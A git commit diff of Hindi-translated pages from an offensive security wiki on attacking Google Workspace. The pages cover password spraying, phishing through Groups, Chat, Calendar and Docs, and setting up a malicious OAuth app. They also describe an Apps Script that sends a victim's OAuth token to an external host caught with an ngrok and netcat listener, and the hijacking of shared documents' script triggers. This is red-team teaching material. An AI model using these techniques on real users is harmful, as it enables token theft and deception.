Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe

This commit is contained in:
Translator
2025-01-02 00:06:01 +00:00
parent 0077c42f9c
commit c3127afc90
222 changed files with 2079 additions and 2105 deletions

View File

@@ -14,11 +14,11 @@ gws-google-platforms-phishing/
### Password Spraying
आपके द्वारा पाए गए सभी ईमेल (या आप जिनके आधार पर ईमेल नाम पैटर्न के आधार पर उत्पन्न किए गए हैं) के साथ पासवर्ड का परीक्षण करने के लिए, आप [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) जैसे टूल का उपयोग कर सकते हैं (हालांकि यह अप्रबंधित लगता है) जो IP पते को बदलने के लिए AWS लैम्ब्डा का उपयोग करेगा।
सभी ईमेल के साथ पासवर्ड का परीक्षण करने के लिए जो आपने खोजे हैं (या आप किसी ईमेल नाम पैटर्न के आधार पर उत्पन्न किए हैं) आप [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) (हालांकि यह अप्रबंधित लगता है) जैसे टूल का उपयोग कर सकते हैं जो IP पते को बदलने के लिए AWS लैम्ब्डा का उपयोग करेगा।
## Post-Exploitation
यदि आपने कुछ क्रेडेंशियल्स या उपयोगकर्ता के सत्र से समझौता किया है, तो आप उपयोगकर्ता की संभावित संवेदनशील जानकारी तक पहुँचने और विशेषाधिकार बढ़ाने के लिए कई क्रियाएँ कर सकते हैं:
यदि आपने कुछ क्रेडेंशियल्स या उपयोगकर्ता के सत्र से समझौता किया है तो आप उपयोगकर्ता की संभावित संवेदनशील जानकारी तक पहुँचने और विशेषाधिकार बढ़ाने के लिए कई क्रियाएँ कर सकते हैं:
{{#ref}}
gws-post-exploitation.md
@@ -44,7 +44,7 @@ gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/
## Persistence
यदि आपने कुछ क्रेडेंशियल्स या उपयोगकर्ता के सत्र से समझौता किया है, तो इसे बनाए रखने के लिए इन विकल्पों की जांच करें:
यदि आपने कुछ क्रेडेंशियल्स या उपयोगकर्ता के सत्र से समझौता किया है तो इसे बनाए रखने के लिए इन विकल्पों की जांच करें:
{{#ref}}
gws-persistence.md

View File

@@ -10,15 +10,15 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodo
## Google Groups Phishing
स्पष्ट रूप से, डिफ़ॉल्ट रूप से, कार्यक्षेत्र के सदस्यों [**समूह बना सकते हैं**](https://groups.google.com/all-groups) **और लोगों को आमंत्रित कर सकते हैं** आप फिर उस ईमेल को संशोधित कर सकते हैं जो उपयोगकर्ता को भेजा जाएगा **कुछ लिंक जोड़कर।** **ईमेल एक गूगल पते से आएगा**, इसलिए यह **वैध** लगेगा और लोग लिंक पर क्लिक कर सकते हैं।
स्पष्ट रूप से, डिफ़ॉल्ट रूप से, workspace सदस्यों [**समूह बना सकते हैं**](https://groups.google.com/all-groups) **और लोगों को आमंत्रित कर सकते हैं** आप फिर उस ईमेल को संशोधित कर सकते हैं जो उपयोगकर्ता को भेजा जाएगा **कुछ लिंक जोड़कर।** **ईमेल एक गूगल पते से आएगा**, इसलिए यह **वैध** लगेगा और लोग लिंक पर क्लिक कर सकते हैं।
यह भी संभव है कि **FROM** पते को **Google समूह ईमेल** के रूप में सेट किया जाए ताकि **समूह के अंदर उपयोगकर्ताओं को अधिक ईमेल भेजे जा सकें**, जैसे कि निम्नलिखित छवि में जहां समूह **`google--support@googlegroups.com`** बनाया गया था और समूह के सभी सदस्यों को **एक ईमेल भेजा गया** (जो बिना किसी सहमति के जोड़े गए थे)
यह भी संभव है कि **FROM** पते को **Google समूह ईमेल** के रूप में सेट किया जाए ताकि **समूह के अंदर उपयोगकर्ताओं को अधिक ईमेल भेजे जा सकें**, जैसे कि निम्नलिखित छवि में जहां समूह **`google--support@googlegroups.com`** बनाया गया था और समूह के सभी सदस्यों को **ईमेल भेजा गया** (जो बिना किसी सहमति के जोड़े गए थे)
<figure><img src="../../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
## Google Chat Phishing
आप किसी व्यक्ति के साथ **चैट शुरू करने** में सक्षम हो सकते हैं बस उनके ईमेल पते को लेकर या **बात करने के लिए आमंत्रण भेज सकते हैं** इसके अलावा, यह संभव है कि **एक स्पेस बनाएँ** जिसका कोई भी नाम हो सकता है (जैसे "Google Support") और **सदस्यों को आमंत्रित करें** यदि वे स्वीकार करते हैं, तो वे सोच सकते हैं कि वे Google Support से बात कर रहे हैं:
आप किसी व्यक्ति के साथ **चैट शुरू करने** में सक्षम हो सकते हैं बस उनके ईमेल पते को लेकर या **बात करने के लिए आमंत्रण भेज सकते हैं** इसके अलावा, यह संभव है कि **एक स्पेस बनाएँ** जिसका कोई भी नाम हो सकता है (जैसे "Google Support") और इसमें सदस्यों को **आमंत्रित करें** यदि वे स्वीकार करते हैं तो वे सोच सकते हैं कि वे Google Support से बात कर रहे हैं:
<figure><img src="../../../images/image (6).png" alt=""><figcaption></figcaption></figure>
@@ -30,7 +30,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodo
## Google Doc Phishing
पहले यह संभव था कि एक **स्पष्ट रूप से वैध दस्तावेज़** बनाया जाए और एक टिप्पणी में **कुछ ईमेल (जैसे @user@gmail.com)** का उल्लेख किया जाए। Google **उस ईमेल पते पर एक ईमेल भेजता था** यह सूचित करते हुए कि उन्हें दस्तावेज़ में उल्लेखित किया गया था।\
आजकल, यह काम नहीं करता लेकिन यदि आप **शिकार को दस्तावेज़ तक पहुंच देते हैं** तो Google एक ईमेल भेजेगा जो यह संकेत करेगा। यह वह संदेश है जो तब प्रकट होता है जब आप किसी का उल्लेख करते हैं:
आजकल, यह काम नहीं करता लेकिन यदि आप **शिकार को दस्तावेज़ तक पहुंच देते हैं** तो Google एक ईमेल भेजेगा जो यह संकेत ेगा। यह वह संदेश है जो तब प्रकट होता है जब आप किसी का उल्लेख करते हैं:
<figure><img src="../../../images/image (7).png" alt=""><figcaption></figcaption></figure>
@@ -39,22 +39,22 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodo
## Google Calendar Phishing
आप **एक कैलेंडर इवेंट बना सकते हैं** और जितने भी ईमेल पते हैं उन सभी को जोड़ सकते हैं जिनका आप हमला कर रहे हैं। इस कैलेंडर इवेंट को **वर्तमान समय से 5 या 15 मिनट** में शेड्यूल करें। इवेंट को वैध दिखाएं और **एक टिप्पणी और एक शीर्षक डालें जो यह संकेत दे कि उन्हें कुछ पढ़ना है** (साथ में **फिशिंग लिंक**).
आप **एक कैलेंडर इवेंट** बना सकते हैं और जितने भी ईमेल पते हैं उन सभी को जोड़ सकते हैं जिनका आप हमला कर रहे हैं। इस कैलेंडर इवेंट को वर्तमान समय से **5 या 15 मिनट** में शेड्यूल करें। इवेंट को वैध दिखाएं और **एक टिप्पणी और एक शीर्षक डालें जो यह संकेत दे कि उन्हें कुछ पढ़ना है** (साथ में **फिशिंग लिंक**).
यह वह चेतावनी है जो ब्राउज़र में "लोगों को निकालना" शीर्षक के साथ दिखाई देगी, इसलिए आप एक अधिक फिशिंग जैसा शीर्षक सेट कर सकते हैं (और यहां तक कि अपने ईमेल से जुड़े नाम को भी बदल सकते हैं)।
यह वह चेतावनी है जो ब्राउज़र में "Firing People" शीर्षक के साथ दिखाई देगी, इसलिए आप एक अधिक फिशिंग जैसा शीर्षक सेट कर सकते हैं (और यहां तक कि अपने ईमेल से जुड़े नाम को भी बदल सकते हैं)।
<figure><img src="../../../images/image (8).png" alt=""><figcaption></figcaption></figure>
कम संदिग्ध दिखाने के लिए:
इसे कम संदिग्ध दिखाने के लिए:
- इसे इस तरह सेट करें कि **प्राप्तकर्ता अन्य आमंत्रित लोगों को न देख सकें**
- **वेंट के बारे में सूचित करने वाले ईमेल न भेजें** फिर, लोग केवल 5 मिनट में एक बैठक के बारे में अपनी चेतावनी देखेंगे और उन्हें उस लिंक को पढ़ने की आवश्यकता है।
- **वेंट के बारे में सूचित करने वाले ईमेल न भेजें** फिर, लोग केवल 5 मिनट में एक बैठक के बारे में अपनी चेतावनी देखेंगे और उन्हें उस लिंक को पढ़ने की आवश्यकता है।
- स्पष्ट रूप से API का उपयोग करके आप **सत्य** सेट कर सकते हैं कि **लोगों ने** इवेंट को **स्वीकृत** किया है और यहां तक कि **उनकी ओर से टिप्पणियाँ भी बना सकते हैं**
## App Scripts Redirect Phishing
यह संभव है कि [https://script.google.com/](https://script.google.com/) में एक स्क्रिप्ट बनाई जाए और **इसे एक वेब एप्लिकेशन के रूप में उजागर किया जाए जो सभी के लिए सुलभ हो** जो वैध डोमेन **`script.google.com`** का उपयोग करेगा।\
कुछ कोड के साथ जैसे निम्नलिखित, एक हमलावर इस पृष्ठ में मनमाना सामग्री लोड कर सकता है बिना डोमेन तक पहुंच को रोके:
कुछ कोड के साथ जैसे निम्नलिखित एक हमलावर इस पृष्ठ पर मनमाना सामग्री लोड कर सकता है बिना डोमेन तक पहुंच को रोके:
```javascript
function doGet() {
return HtmlService.createHtmlOutput(
@@ -62,65 +62,65 @@ return HtmlService.createHtmlOutput(
).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL)
}
```
For example accessing [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec) you will see:
उदाहरण के लिए [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec) पर पहुँचने पर आप देखेंगे:
<figure><img src="../../../images/image (4) (1).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> ध्यान दें कि जब सामग्री एक iframe के अंदर लोड होती है तो एक चेतावनी दिखाई देगी।
> ध्यान दें कि जब सामग्री एक iframe के अंदर लोड होती है, तो एक चेतावनी दिखाई देगी।
## App Scripts OAuth Phishing
## ऐप स्क्रिप्ट्स OAuth फ़िशिंग
यह संभव है कि दस्तावेज़ों से जुड़े App Scripts बनाए जाएं ताकि पीड़ित के OAuth टोकन तक पहुच प्राप्त करने की कोशिश की जा सके, अधिक जानकारी के लिए देखें:
ऐसे ऐप स्क्रिप्ट्स बनाना संभव है जो दस्तावेज़ों से जुड़े होते हैं ताकि पीड़ित के OAuth टोकन तक पहुच प्राप्त करने की कोशिश की जा सके, अधिक जानकारी के लिए देखें:
{{#ref}}
gws-app-scripts.md
{{#endref}}
## OAuth Apps Phishing
## OAuth ऐप्स फ़िशिंग
पिछले किसी भी तकनीक का उपयोग उपयोगकर्ता को एक **Google OAuth एप्लिकेशन** तक पहुँचने के लिए किया जा सकता है जो उपयोगकर्ता से कुछ **एक्सेस** **अनुरोध** करेगा। यदि उपयोगकर्ता **स्रोत** पर **विश्वास** करता है तो वह **प्लिकेशन** पर भी **विश्वास** कर सकता है (भले ही यह उच्च विशेषाधिकार प्राप्त अनुमतियों के लिए पूछ रहा हो)।
पिछले किसी भी तकनीक का उपयोग उपयोगकर्ता को एक **Google OAuth एप्लिकेशन** तक पहुँचने के लिए किया जा सकता है जो उपयोगकर्ता से कुछ **एक्सेस** **अनुरोध** करेगा। यदि उपयोगकर्ता **स्रोत** पर **विश्वास** करता है, तो वह **प्लिकेशन** पर भी **विश्वास** कर सकता है (भले ही यह उच्च विशेषाधिकार प्राप्त अनुमतियों के लिए पूछ रहा हो)।
> [!NOTE]
> ध्यान दें कि Google कई मामलों में एक बदसूरत प्रॉम्प्ट प्रस्तुत करता है जो चेतावनी देता है कि एप्लिकेशन अविश्वसनीय है और Workspace प्रशासक यहां तक कि लोगों को OAuth एप्लिकेशन स्वीकार करने से रोक सकते हैं।
> ध्यान दें कि Google कई मामलों में एक भद्दा प्रॉम्प्ट प्रस्तुत करता है जो चेतावनी देता है कि एप्लिकेशन अविश्वसनीय है और Workspace प्रशासक लोगों को OAuth एप्लिकेशन स्वीकार करने से भी रोक सकते हैं।
**Google** उपयोगकर्ताओं की ओर से कई **Google सेवाओं** के साथ **संवाद करने** के लिए एप्लिकेशन बनाने की अनुमति देता है: Gmail, Drive, GCP...
**Google** ऐसे एप्लिकेशन बनाने की अनुमति देता है जो **उपयोगकर्ताओं की ओर से** कई **Google सेवाओं** के साथ **संवाद**र सकते है: Gmail, Drive, GCP...
जब किसी एप्लिकेशन को **अन्य उपयोगकर्ताओं की ओर से कार्य करने** के लिए बनाया जाता है, तो डेवलपर को **GCP के अंदर एक OAuth ऐप** बनाना होगा और उन स्कोप (अनुमतियों) को निर्दिष्ट करना होगा जिनकी ऐप को उपयोगकर्ताओं के डेटा तक पहुँचने की आवश्यकता है।\
जब एक **उपयोगकर्ता** उस **प्लिकेशन** का **उपयोग** करना चाहता है, तो उन्हें **स्वीकृति** देने के लिए **प्रॉम्प्ट** किया जाएगा कि एप्लिकेशन उनके डेटा तक पहुँच प्राप्त करेगा जो स्कोप में निर्दिष्ट है।
जब किसी एप्लिकेशन को **अन्य उपयोगकर्ताओं की ओर से कार्य करने** के लिए बनाया जाता है, तो डेवलपर को **GCP के अंदर एक OAuth ऐप** बनाना होगा और उन स्कोप्स (अनुमतियों) को निर्दिष्ट करना होगा जिनकी ऐप को उपयोगकर्ताओं के डेटा तक पहुँचने की आवश्यकता है।\
जब एक **उपयोगकर्ता** उस **प्लिकेशन** का **उपयोग** करना चाहता है, तो उन्हें **स्वीकृति** देने के लिए **प्रॉम्प्ट** किया जाएगा कि एप्लिकेशन उनके डेटा तक पहुँच प्राप्त करेगा जो स्कोप्स में निर्दिष्ट है।
यह **फिशिंग** गैर-तकनीकी उपयोगकर्ताओं को **संवेदनशील जानकारी तक पहुँचने वाले एप्लिकेशन** का उपयोग करने के लिए एक बहुत ही आकर्षक तरीका है क्योंकि वे परिणामों को नहीं समझ सकते। हालाँकि, संगठनों के खातों में, इसे होने से रोकने के तरीके हैं।
### Unverified App prompt
### अविश्वसनीय ऐप प्रॉम्प्ट
जैसा कि उल्लेख किया गया था, Google हमेशा उपयोगकर्ता को **अनुमतियों को स्वीकार करने के लिए प्रॉम्प्ट** करेगा जो वे एप्लिकेशन को अपनी ओर से दे रहे हैं। हालाँकि, यदि एप्लिकेशन को **खतरनाक** माना जाता है, तो Google पहले **प्रॉम्प्ट** दिखाएगा जो यह संकेत देगा कि यह **खतरनाक** है और उपयोगकर्ता के लिए एप्लिकेशन को अनुमतियाँ देने में **अधिक कठिनाई** पैदा करेगा।
जैसा कि उल्लेख किया गया था, Google हमेशा उपयोगकर्ता को **अनुमतियों को स्वीकार करने के लिए प्रॉम्प्ट** करेगा जो वे एप्लिकेशन को अपनी ओर से दे रहे हैं। हालाँकि, यदि एप्लिकेशन को **खतरनाक** माना जाता है, तो Google पहले **प्रॉम्प्ट** दिखाएगा जो यह संकेत देगा कि यह **खतरनाक** है और उपयोगकर्ता के लिए ऐप को अनुमतियाँ देने में **अधिक कठिनाई** पैदा करेगा।
यह प्रॉम्प्ट उन ऐप्स में दिखाई देता है:
- कोई भी स्कोप जो निजी डेटा (Gmail, Drive, GCP, BigQuery...) तक पहुँच सकता है
- 100 से कम उपयोगकर्ताओं वाले ऐप्स (100 से अधिक ऐप्स के लिए एक समीक्षा प्रक्रिया भी आवश्यक है ताकि अविश्वसनीय प्रॉम्प्ट दिखाना बंद किया जा सके)
- 100 से कम उपयोगकर्ताओं वाले ऐप्स (100 से अधिक उपयोगकर्ताओं वाले ऐप्स के लिए एक समीक्षा प्रक्रिया भी आवश्यक है ताकि अविश्वसनीय प्रॉम्प्ट दिखाना बंद किया जा सके)
### Interesting Scopes
### दिलचस्प स्कोप्स
[**यहा**](https://developers.google.com/identity/protocols/oauth2/scopes) आप सभी Google OAuth स्कोप की सूची पा सकते हैं।
[**यहा**](https://developers.google.com/identity/protocols/oauth2/scopes) आप सभी Google OAuth स्कोप्स की सूची पा सकते हैं।
- **cloud-platform**: अपने डेटा को **Google Cloud Platform** सेवाओं के बीच देखें और प्रबंधित करें। आप GCP में उपयोगकर्ता का प्रतिनिधित्व कर सकते हैं।
- **admin.directory.user.readonly**: अपने संगठन के GSuite निर्देशिका को देखें और डाउनलोड करें। सभी उपयोगकर्ताओं के नाम, फोन, कैलेंडर यूआरएल प्राप्त करें।
### Create an OAuth App
### एक OAuth ऐप बनाएं
**OAuth Client ID बनाना शुरू करें**
**OAuth क्लाइंट आईडी बनाना शुरू करें**
1. [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) पर जाएं और सहमति स्क्रीन को कॉन्फ़िगर करने पर क्लिक करें।
2. फिर, आपसे पूछा जाएगा कि **उपयोगकर्ता प्रकार** **आंतरिक** (केवल आपके संगठन के लोगों के लिए) है या **बाहरी**। उस विकल्प का चयन करें जो आपकी आवश्यकताओं के अनुसार हो
- आंतरिक तब दिलचस्प हो सकता है जब आपने पहले ही संगठन के एक उपयोगकर्ता को समझौता कर लिया है और आप इस ऐप को दूसरे को फिश करने के लिए बना रहे हैं।
- आंतरिक तब दिलचस्प हो सकता है जब आपने पहले ही संगठन के एक उपयोगकर्ता को समझौता कर लिया है और आप किसी अन्य को फिश करने के लिए यह ऐप बना रहे हैं।
3. ऐप को एक **नाम** दें, एक **समर्थन ईमेल** (ध्यान दें कि आप खुद को थोड़ा अधिक गुमनाम बनाने के लिए एक गूगल ग्रुप ईमेल सेट कर सकते हैं), एक **लोगो**, **अधिकृत डोमेन** और **अपडेट्स** के लिए एक और **ईमेल** दें।
4. **OAuth स्कोप** का **चयन** करें।
- यह पृष्ठ गैर-संवेदनशील अनुमतियों, संवेदनशील अनुमतियों और प्रतिबंधित अनुमतियों में विभाजित है। हर बार जब आप एक नई अनुमति जोड़ते हैं, तो यह अपनी श्रेणी में जोड़ी जाती है। अनुरोधित अनुमतियों के आधार पर उपयोगकर्ता को यह संकेत देने के लिए विभिन्न प्रॉम्प्ट दिखाई देंगे कि ये अनुमतियाँ कितनी संवेदनशील हैं।
- **`admin.directory.user.readonly`** और **`cloud-platform`** दोनों संवेदनशील अनुमतियाँ हैं।
5. **परीक्षण उपयोगकर्ताओं को जोड़ें।** जब तक ऐप की स्थिति परीक्षण में है, केवल ये उपयोगकर्ता ऐप तक पहुँचने में सक्षम होंगे इसलिए सुनिश्चित करें कि **उस ईमेल को जोड़ें जिसे आप फिश करने जा रहे हैं**
4. **OAuth स्कोप्स** का **चयन** करें।
- यह पृष्ठ गैर-संवेदनशील अनुमतियों, संवेदनशील अनुमतियों और प्रतिबंधित अनुमतियों में विभाजित है। हर बार जब आप एक नई अनुमति जोड़ते हैं, तो यह उसकी श्रेणी में जोड़ी जाती है। अनुरोधित अनुमतियों के आधार पर उपयोगकर्ता को विभिन्न प्रॉम्प्ट दिखाई देंगे जो यह संकेत करते हैं कि ये अनुमतियाँ कितनी संवेदनशील हैं।
- दोनों **`admin.directory.user.readonly`** और **`cloud-platform`** संवेदनशील अनुमतियाँ हैं।
5. **परीक्षण उपयोगकर्ताओं को जोड़ें।** जब तक ऐप की स्थिति परीक्षण में है, केवल ये उपयोगकर्ता ऐप तक पहुँच पाने में सक्षम होंगे इसलिए सुनिश्चित करें कि **उस ईमेल को जोड़ें जिसे आप फिश करने जा रहे हैं**
अब चलिए **पिछले बनाए गए OAuth Client ID** का उपयोग करके **वेब एप्लिकेशन के लिए क्रेडेंशियल्स प्राप्त करते हैं**:
अब हम **पिछले बनाए गए OAuth क्लाइंट आईडी** का उपयोग करके **वेब एप्लिकेशन के लिए क्रेडेंशियल्स** प्राप्त करते हैं:
1. [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) पर वापस जाएं, इस बार एक अलग विकल्प दिखाई देगा।
2. **वेब एप्लिकेशन के लिए क्रेडेंशियल्स बनाने** का चयन करें
@@ -135,7 +135,7 @@ cd gcp_oauth_phishing_example
pip install flask requests google-auth-oauthlib
python3 app.py --client-id "<client_id>" --client-secret "<client_secret>"
```
जाएँ **`http://localhost:8000`** पर Google के साथ लॉगिन बटन पर क्लिक करें, आपको इस तरह का एक संदेश **प्रदर्शित** किया जाएगा:
**`http://localhost:8000`** पर जाएं, Google के साथ लॉगिन बटन पर क्लिक करें, आपको इस तरह का एक संदेश **प्रदर्शित** किया जाएगा:
<figure><img src="../../../images/image (333).png" alt=""><figcaption></figcaption></figure>

View File

@@ -4,16 +4,16 @@
## App Scripts
App Scripts वह **कोड है जो तब सक्रिय होगा जब कोई संपादक अनुमति वाला उपयोगकर्ता उस दस्तावेज़ तक पहुचता है जिसके साथ App Script जुड़ा हुआ है** और **OAuth प्रॉम्प्ट स्वीकार करने के बाद**।\
App Scripts वह **कोड है जो तब सक्रिय होगा जब कोई संपादक अनुमति वाला उपयोगकर्ता उस दस्तावेज़ तक पहुचता है जिसके साथ App Script जुड़ा हुआ है** और **OAuth प्रॉम्प्ट स्वीकार करने के बाद**।\
इन्हें App Script के मालिक द्वारा **हर निश्चित समय पर निष्पादित** करने के लिए भी सेट किया जा सकता है (Persistence).
### Create App Script
### App Script बनाना
App Script बनाने के कई तरीके हैं, हालांकि सबसे सामान्य तरीके **Google Document (किसी भी प्रकार का)** से और **स्वतंत्र परियोजना** के रूप में हैं:
<details>
<summary>Create a container-bound project from Google Docs, Sheets, or Slides</summary>
<summary>Google Docs, Sheets, या Slides से कंटेनर-बाउंड प्रोजेक्ट बनाएं</summary>
1. एक Docs दस्तावेज़, एक Sheets स्प्रेडशीट, या Slides प्रस्तुति खोलें।
2. **Extensions** > **Google Apps Script** पर क्लिक करें।
@@ -24,12 +24,12 @@ App Script बनाने के कई तरीके हैं, हाला
<details>
<summary>Create a standalone project</summary>
<summary>स्वतंत्र परियोजना बनाएं</summary>
Apps Script से एक स्वतंत्र परियोजना बनाने के लिए:
Apps Script से स्वतंत्र परियोजना बनाने के लिए:
1. [`script.google.com`](https://script.google.com/) पर जाएं।
2. **New Project** जोड़ें पर क्लिक करें।
2. **New Project** जोड़ने के लिए क्लिक करें।
3. स्क्रिप्ट संपादक में, **Untitled project** पर क्लिक करें।
4. अपने प्रोजेक्ट का नाम दें और **Rename** पर क्लिक करें।
@@ -37,7 +37,7 @@ Apps Script से एक स्वतंत्र परियोजना ब
<details>
<summary>Create a standalone project from Google Drive</summary>
<summary>Google Drive से स्वतंत्र परियोजना बनाएं</summary>
1. [Google Drive](https://drive.google.com/) खोलें।
2. **New** > **More** > **Google Apps Script** पर क्लिक करें।
@@ -46,7 +46,7 @@ Apps Script से एक स्वतंत्र परियोजना ब
<details>
<summary>Create a container-bound project from Google Forms</summary>
<summary>Google Forms से कंटेनर-बाउंड प्रोजेक्ट बनाएं</summary>
1. Google Forms में एक फॉर्म खोलें।
2. More more_vert > **Script editor** पर क्लिक करें।
@@ -57,7 +57,7 @@ Apps Script से एक स्वतंत्र परियोजना ब
<details>
<summary>Create a standalone project using the clasp command line tool</summary>
<summary>clasp कमांड लाइन टूल का उपयोग करके स्वतंत्र परियोजना बनाएं</summary>
`clasp` एक कमांड लाइन टूल है जो आपको टर्मिनल से Apps Script परियोजनाएँ बनाने, खींचने/धकेलने और तैनात करने की अनुमति देता है।
@@ -65,19 +65,19 @@ Apps Script से एक स्वतंत्र परियोजना ब
</details>
## App Script Scenario <a href="#create-using-clasp" id="create-using-clasp"></a>
## App Script परिदृश्य <a href="#create-using-clasp" id="create-using-clasp"></a>
### Create Google Sheet with App Script
### App Script के साथ Google Sheet बनाएं
एक App Script बनाने से शुरू करें, इस परिदृश्य के लिए मेरी सिफारिश है कि एक Google Sheet बनाएं और **`Extensions > App Scripts`** पर जाएं, इससे आपके लिए **शीट से जुड़ एक नया App Script खुलेग**
एक App Script बनाने से शुरू करें, इस परिदृश्य के लिए मेरी सिफारिश है कि आप एक Google Sheet बनाएं और **`Extensions > App Scripts`** पर जाएं, इससे आपके लिए **शीट से जुड़ एक न App Script खुलेग**
### Leak token
### टोकन लीक
OAuth टोकन तक पहुच देने के लिए आपको **`Services +` पर क्लिक करना होगा और स्कोप जोड़ना होगा जैसे**:
OAuth टोकन तक पहुच देने के लिए आपको **`Services +` पर क्लिक करना होगा और जैसे स्कोप जोड़ना होगा**:
- **AdminDirectory**: निर्देशिका के उपयोगकर्ताओं और समूहों तक पहुच (यदि उपयोगकर्ता के पास पर्याप्त अनुमतियाँ हैं)
- **Gmail**: Gmail डेटा तक पहुचने के लिए
- **Drive**: ड्राइव डेटा तक पहुचने के लिए
- **AdminDirectory**: निर्देशिका के उपयोगकर्ताओं और समूहों तक पहुच (यदि उपयोगकर्ता के पास पर्याप्त अनुमतियाँ हैं)
- **Gmail**: Gmail डेटा तक पहुचने के लिए
- **Drive**: ड्राइव डेटा तक पहुचने के लिए
- **Google Sheets API**: ताकि यह ट्रिगर के साथ काम करे
अपने लिए **आवश्यक स्कोप** बदलने के लिए आप प्रोजेक्ट सेटिंग्स में जा सकते हैं और सक्षम कर सकते हैं: **`Show "appsscript.json" manifest file in editor`.**
@@ -133,42 +133,42 @@ Logger.log("Error making POST request: " + e.toString())
}
}
```
आप अनुरोध को कैप्चर करने के लिए बस यह चला सकते हैं:
अनुरोध को कैप्चर करने के लिए आप बस चला सकते हैं:
```bash
ngrok tcp 4444
nc -lv 4444 #macOS
```
Permissions requested to execute the App Script:
अनुप्रयोग स्क्रिप्ट को निष्पादित करने के लिए अनुरोधित अनुमतियाँ:
<figure><img src="../../../images/image (334).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> चूंकि एक बाहरी अनुरोध किया गया है, OAuth प्रॉम्प्ट भी **बाहरी एंडपॉइंट्स तक पहुँचने क अनुमति मांगता है**।
> चूंकि एक बाहरी अनुरोध किया गया है, OAuth प्रॉम्प्ट भी **बाहरी एंडपॉइंट्स तक पहुँचने के लिए अनुमति मांगेगा**।
### Create Trigger
### ट्रिगर बनाना
एक बार जब ऐप पढ़ लिया जाए, तो **Triggers** पर क्लिक करें ताकि एक ट्रिगर बनाया जा सके। **function** के लिए **`getToken`** चुनें, जो तैनाती पर **`Head`** पर चलता है, इवेंट स्रोत में **`From spreadsheet`** चुनें और इवेंट प्रकार में **`On open`** या **`On edit`** (आपकी आवश्यकताओं के अनुसार) चुनें और सहेजें।
एक बार जब अनुप्रयोग पढ़ लिया जाए, तो **ट्रिगर्स** पर क्लिक करें ताकि एक ट्रिगर बनाया जा सके। **कार्य** के रूप में **`getToken`** चुनें, जो तैनाती पर **`Head`** पर चलता है, घटना स्रोत में **`From spreadsheet`** चुनें और घटना प्रकार में **`On open`** या **`On edit`** (आपकी आवश्यकताओं के अनुसार) चुनें और सहेजें।
ध्यान दें कि आप **Executions टैब में ऐप स्क्रिप्ट के रन की जांच कर सकते हैं** यदि आप कुछ डिबग करना चाहते हैं
ध्यान दें कि यदि आप कुछ डिबग करना चाहते हैं तो आप **एक्जीक्यूशंस टैब में अनुप्रयोग स्क्रिप्ट के रन की जांच कर सकते हैं**
### Sharing
### साझा करना
**App Script** को **trigger** करने के लिए पीड़ित को **Editor Access** के साथ कनेक्ट करना होगा।
**App Script** को **ट्रिगर** करने के लिए पीड़ित को **संपादक पहुंच** के साथ कनेक्ट करना होगा।
> [!TIP]
> **App Script** को निष्पादित करने के लिए उपयोग किया जाने वाला **token** **trigger के निर्माता** का होगा, भले ही फ़ाइल को अन्य उपयोगकर्ताओं द्वारा संपादक के रूप में खोला गया हो।
> **App Script** को निष्पादित करने के लिए उपयोग किया जाने वाला **टोकन** **ट्रिगर के निर्माता** का होगा, भले ही फ़ाइल को अन्य उपयोगकर्ताओं द्वारा संपादक के रूप में खोला गया हो।
### Abusing Shared With Me documents
### साझा किए गए दस्तावेज़ों का दुरुपयोग करना
> [!CAUTION]
> यदि किसी ने **आपके साथ एक दस्तावेज़ साझा किया है जिसमें App Scripts और एक ट्रिगर है जो ऐप स्क्रिप्ट के Head का उपयोग करता है** (निश्चित तैनाती नहीं), तो आप ऐप स्क्रिप्ट कोड को संशोधित कर सकते हैं (उदाहरण के लिए,ोरी करने वाले टोकन फ़ंक्शन जोड़ना), इसे एक्सेस कर सकते हैं, और **App Script उन उपयोगकर्ता की अनुमतियों के साथ निष्पादित होगा जिसने आपके साथ दस्तावेज़ साझा किया**! (ध्यान दें कि मालिक का OAuth टोकन उस पहुंच स्कोप के साथ होगा जो ट्रिगर बनाने के समय दिए गए थे)।
> यदि किसी ने **आपके साथ एक दस्तावेज़ साझा किया है जिसमें App Scripts और ट्रिगर है जो App Script के Head का उपयोग करता है** (निश्चित तैनाती नहीं), तो आप App Script कोड को संशोधित कर सकते हैं (उदाहरण के लिए चुराने वाले टोकन फ़ंक्शन जोड़ना), इसे एक्सेस कर सकते हैं, और **App Script उन उपयोगकर्ता की अनुमतियों के साथ निष्पादित होगा जिसने आपके साथ दस्तावेज़ साझा किया**! (ध्यान दें कि मालिक का OAuth टोकन ट्रिगर बनाए जाने पर दिए गए एक्सेस स्कोप के रूप में होगा)।
>
> एक **सूचना स्क्रिप्ट के निर्माता को भेजी जाएगी कि किसी ने स्क्रिप्ट को संशोधित किया है** (क्या अलर्ट को रोकने के लिए फ़िल्टर उत्पन्न करने के लिए जीमेल अनुमतियों का उपयोग करने के बारे में?)
> **स्क्रिप्ट के निर्माता को सूचित करने के लिए एक अधिसूचना भेजी जाएगी कि किसी ने स्क्रिप्ट को संशोधित किया है** (क्या जीमेल अनुमतियों का उपयोग करके अलर्ट को रोकने के लिए एक फ़िल्टर बनाने के बारे में?)
